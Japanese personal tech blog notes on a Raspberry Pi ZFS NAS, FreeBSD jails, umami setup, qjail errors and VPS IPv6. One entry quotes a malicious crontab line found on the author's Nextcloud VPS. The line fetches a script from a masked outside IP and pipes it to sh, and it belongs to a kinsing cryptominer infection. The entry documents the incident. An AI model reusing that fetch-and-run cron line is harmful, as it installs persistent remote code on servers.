pseudomoon.jp

元々 J:COM の回線を使っていて、いろいろあって、下り 320Mbps 上り 10Mbps に切り替え。
ついでに元々アカウントだけ契約していた @nifty のフレッツも契約。
回線が速くなったので、なんちゃって 1000Base だった Raspberry Pi 3B+ も 4B に変更。
4B は OpenWrt 21.02 以降のサポートなので、リリースを待った。
MAP-E は使うのを一旦断念。

https://github.com/hannesd/omv-zfs-ras-nas

ここで手順がでているのでトライ中。

2021/7/27 現在、このページの下の方、カーネルをアップデートすると動かなくなるのでその都度 ZFS 関係も手動でアップデートが必要だよ、とあるので要注意。OMV のアップデートは軽率に Web の UI で行うのではなく、CLI でかけて、再起動してこのアップデートをかける、という気遣いがあったほうが良さそう。

https://openmediavault.readthedocs.io/en/5.x/various/apt.html

あと、重複排除の dedup は使わない方が良さそう。

https://decomo.info/wiki/blog/2019/2019-12-31

https://poyo.hatenablog.jp/entry/2017/06/30/160002

https://flageo.hatenadiary.org/entry/20120318/p1

Nextcloud を走らせている VPS の cron に勝手に1行追加されていた。偶然 www アカウントの crontab をみたら、次のような行が追加されていて、覚えが無い。

* * * * * wget -q -O - http://XXX.XXX.XXX.XXX/p.sh | sh > /dev/null 2>&1

abuseipdb.com によると Latvia の IP アドレスで、44回報告されている。どうやら仮想通貨のマイニングを行う kdevtmpfsi を実行させようとしているらしい。幸い wget が入っていなかったので動かなかったはず。

せめて日付を確認しておくべきだった。別の用事もあって先に書き換えてしまったのでもうわからない。

他の VPS や仮想環境には、少なくとも同じような crontab を使ったものは仕込まれていなかった。

もう少し調べたら、/tmp に実行ファイルが居た。

-rwxrwxrwx   1 www   wheel  14643200 Dec 18  2020 kinsing*

file コマンドの結果は以下の通り

$ file /tmp/kinsing
/tmp/kinsing: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=DhskS7dCbYzdqxBh_mSk/76qVIoHRKN1NNcfL8ADh/W157t201-UbEisb9Xatk/hOMqvN1a69kKMwHq_e_v, stripped

前のポスト の続き

umami.is を FreeBSD12 にセットアップした。

環境は、FreeBSD 12.1-RELEASE-p11 上の jail (qjail で構築) 、node-15.6.0、npm-6.14.8、mysql57-client-5.7.32。
jail の host 側で nginx でリバースプロキシを構成。mysql サーバーは別の jail に。

2021/Mar/14 追記あり。

ConoHa VPS で IPv4 アドレスを追加すると、追加分は新しい NIC に割り当てられる。

Linux はいいらしいけれど、FreeBSD ではそのままだと活かし方が分からなかったけど、動いたように見える。

qjail で jail を作ろうとするとエラーになる。

OS は 12.2-RELEASE 。

# qjail create -4 <ip address> -n <network interface> <jail name>
error: conflicting output format options.
usage: diff [-aBbdilpTtw] [-c | -e | -f | -n | -q | -u] [--ignore-case]
            [--no-ignore-case] [--normal] [--strip-trailing-cr] [--tabsize]
            [-I pattern] [-L label] file1 file2
       diff [-aBbdilpTtw] [-I pattern] [-L label] [--ignore-case]
            [--no-ignore-case] [--normal] [--strip-trailing-cr] [--tabsize]
            -C number file1 file2
       diff [-aBbdiltw] [-I pattern] [--ignore-case] [--no-ignore-case]
            [--normal] [--strip-trailing-cr] [--tabsize] -D string file1 file2
       diff [-aBbdilpTtw] [-I pattern] [-L label] [--ignore-case]
            [--no-ignore-case] [--normal] [--tabsize] [--strip-trailing-cr]
            -U number file1 file2
       diff [-aBbdilNPprsTtw] [-c | -e | -f | -n | -q | -u] [--ignore-case]
            [--no-ignore-case] [--normal] [--tabsize] [-I pattern] [-L label]
            [-S name] [-X file] [-x pattern] dir1 dir2
       diff [-aBbditwW] [--expand-tabs] [--ignore-all-blanks]
            [--ignore-blank-lines] [--ignore-case] [--minimal]
            [--no-ignore-file-name-case] [--strip-trailing-cr]
            [--suppress-common-lines] [--tabsize] [--text] [--width]
            -y | --side-by-side file1 file2
Error invalid directories in flavor default.

/usr/local/bin/qjail がスクリプトだったので diff を探したら一箇所だけ出てきた。

    # Check the flavor for directories it should NOT be playing with.
    #
    # Load directory names to be excluded from diff to std-out
    # and pipe to the diff -X option.
    #
    example_flavor="/usr/local/share/examples/qjail/default"
    flavor_path="${flavors_dir}/${flavor}"

    /bin/cat  << EOF |
etc
home
root
EOF

    diff -ruq -X - "${example_flavor}" "${flavor_path}"
    [ $? -eq 0 ] || \
    kill "Error invalid directories in flavor ${flavor}."

diff のオプションの u と q がぶつかっているみたい。でもどちらかにしても相変わらずエラーになる。

2020 Nov 27 追記

diff は、/usr/local/share/examples/qjail/default/etc/ に resolv.conf が無かったことに文句を言っていた。

# cp /usr/jails/flavors/default/etc/resolv.conf /usr/local/share/examples/qjail/default/etc/
# diff -r /usr/local/share/examples/qjail/default /usr/jails/flavors/default

で何も出ないことを確認したら、ひとまず qjail create は通るようになった。

VPS で時々 IPv6 対応にチャレンジしているんだけれど、なかなかうまくいかない。

北米のある VPS

以前 ipfw を使っても通っていた。pf に移行する予定で、ただ他で通らなくなっているので、設定は考え直す必要あり。

日本のある VPS (1)

accept_rtadv でアドレスはとれているようで、それで取得した IPv6 アドレスにも ping6 はできるけれど、外のサーバーには ping6 が通らない。ipfw の内容は北米のものとほぼ同じだったけれど……。

この VPS は IPv4 アドレスを追加していて、VPS の会社の都合、その追加分のアドレスは、インタフェース付きで追加されていた。その追加されたインタフェースに IPv6 アドレスが割り振られていなかった。

元々のインタフェースは使っていなかったものの、IPv6 アドレスを割り振ったら使えるようになった。ipfw を有効にしても動いている。

日本のある VPS (2)

accept_rtadv ではアドレスが取れない。

アサインされているはずの範囲で手動でアドレスを設定すると、外のサーバーに対する ping6 で

 ping6: sendmsg: Permission denied

というエラーになる。けど結局 pf のせいらしい。pf を切って手動で設定したら通った。

 hostname="XXXXXXXX"
 keymap="jp.kbd"
 
 ifconfig_vtnet0="inet XXX.XXX.XXX.XXX netmask 255.255.254.0"
 ifconfig_vtnet1="down"
 ifconfig_vtnet2="down"
 defaultrouter="XXX.XXX.XXX.XXX"
 
 #ipv6_enable="YES"
 #ipv6_gateway_enable="NO"
 
 ##ipv6_ifconfig_vtnet0="XXXX:XXXX:XXX:XXXX:XXX:XXX:XXX:XXX prefixlen 64"
 ifconfig_vtnet0_ipv6="XXXX:XXXX:XXX:XXXX:XXX:XXX:XXX:XXX prefixlen 64"
 ##ipv6_defaultrouter="XXXX::1%vtnet0"
 ipv6_defaultrouter="XXXX::1%vtnet0"
 #ipv6_activate_all_interfaces="YES"
 ipv6_network_interfaces="vtnet0"
 #ifconfig_vtnet0_ipv6="inet6 accept_rtadv"

欧州の VPS

自分自身には ping6 できるものの、外に対してはやはり Permission denied になる。pf を切ると通るようになる。

TODO

全ての VPS で pf に移行するつもりなので、IPv6 対応のルールを設定すればなんとか。

いろいろな情報があるので、メモ。結構難しい。

※まだ調査中のメモ※